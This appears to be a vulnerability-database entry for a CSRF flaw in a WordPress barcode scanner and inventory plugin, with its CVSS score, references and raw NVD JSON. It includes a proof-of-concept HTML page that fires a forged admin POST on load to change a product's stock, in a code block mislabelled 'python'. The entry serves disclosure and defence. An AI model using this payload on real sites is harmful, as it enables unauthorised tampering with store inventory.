CVE-2026-42645

Description

Cross-Site Request Forgery (CSRF) vulnerability in Dmitry V. (CEO of "UKR Solution") Barcode Scanner with Inventory & Order Manager barcode-scanner-lite-pos-to-manage-products-inventory-and-orders allows Cross Site Request Forgery.This issue affects Barcode Scanner with Inventory & Order Manager: from n/a through <= 1.11.0.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Barcode Scanner with Inventory & Order Manager <= 1.11.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-42645 CSRF Vulnerability -->
<!-- This HTML page attempts to update inventory via a forged request -->
<html>
  <body>
    <script>
      function submitRequest() {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://target-site/wp-admin/admin.php?page=barcode_scanner_lite_pos_manage_inventory", true);
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        // Payload to modify inventory arbitrarily
        xhr.send("action=update_stock&product_id=1&stock_quantity=999");
      }
      // Automatically trigger the attack on page load
      window.onload = submitRequest;
    </script>
    <p>If nothing happens, the CSRF request may have been blocked or the target is not vulnerable.</p>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42645
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42645
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42645/
[4] VulDB https://vuldb.com/cve/CVE-2026-42645
[5] https://patchstack.com/database/Wordpress/Plugin/barcode-scanner-lite-pos-to-manage-products-inventory-and-orders/vulnerability/wordpress-barcode-scanner-with-inventory-order-manager-plugin-1-11-0-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42645", "sourceIdentifier": "[email protected]", "published": "2026-04-29T12:16:19.790", "lastModified": "2026-04-29T21:15:41.667", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in Dmitry V. (CEO of \"UKR Solution\") Barcode Scanner with Inventory & Order Manager barcode-scanner-lite-pos-to-manage-products-inventory-and-orders allows Cross Site Request Forgery.This issue affects Barcode Scanner with Inventory & Order Manager: from n/a through <= 1.11.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/barcode-scanner-lite-pos-to-manage-products-inventory-and-orders/vulnerability/wordpress-barcode-scanner-with-inventory-order-manager-plugin-1-11-0-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}